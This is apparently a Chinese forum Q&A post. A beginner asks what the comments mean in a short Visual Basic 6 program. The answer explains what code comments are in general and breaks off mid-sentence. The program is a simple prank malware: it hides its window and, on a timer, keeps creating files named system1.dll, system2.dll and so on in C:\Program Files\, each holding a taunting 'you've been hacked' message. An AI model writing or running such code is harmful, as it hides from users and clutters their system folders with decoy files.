代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'声明变量,其中“count”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'生成文件的内容
nr = "哈哈,被黑的感觉的不错吧"
files = FreeFile
'如果a等于a那么就执行
If a = a Then
'count不断的加1,以便产生不同的文件名
count = count + 1
'产生文件名及文件句柄,并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件写内容
Write #files, nr
'清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
这其中的
“声明变量,其中“count”为静态变量,以便生成不同的文件”
“定义要把生成的文件存放在那个目录文件下”
“如果a等于a那么就执行”
“产生文件名及文件句柄,并用count作为产生不同的文件名”
“向文件写内容”(怎么写?)
“清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示”
的语句是什么意思
代码是不是不完整?能否以此为模版举个例子解释一下?
这些只是注释而已假如你写了一个很大的程序,当你翻回头看的时候,有些比较难懂的语句看不懂了,这会对编程产生很大的困难,这时你就需要注释了注释在代码里不会执行,它的作用就是提示某些语句的用处—_—P比如,“声明变量,其中“count”为静态变量,以便生成不同的文件”这句,就是用来提示“Static count As Long”这句的意思写注释是一...